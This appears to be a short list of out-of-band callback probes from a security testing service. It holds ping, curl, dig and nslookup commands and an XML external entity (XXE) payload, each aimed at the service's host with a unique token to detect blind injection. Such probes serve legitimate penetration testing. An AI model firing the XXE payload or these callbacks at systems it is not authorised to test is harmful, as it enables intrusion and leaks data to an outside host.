$ ping -c1 -p 007022e7091f0682ffaf6fb6cf05da00 unhack.ca
 

$ curl http://unhack.ca/p/7022e7091f0682ffaf6fb6cf05da
 

$ dig 7022e7091f0682ffaf6fb6cf05da @unhack.ca
 

$ dig 7022e7091f0682ffaf6fb6cf05da.ns.unhack.ca
 

C:\> nslookup 7022e7091f0682ffaf6fb6cf05da unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/7022e7091f0682ffaf6fb6cf05da">]>
    <foo>&xxe;</foo>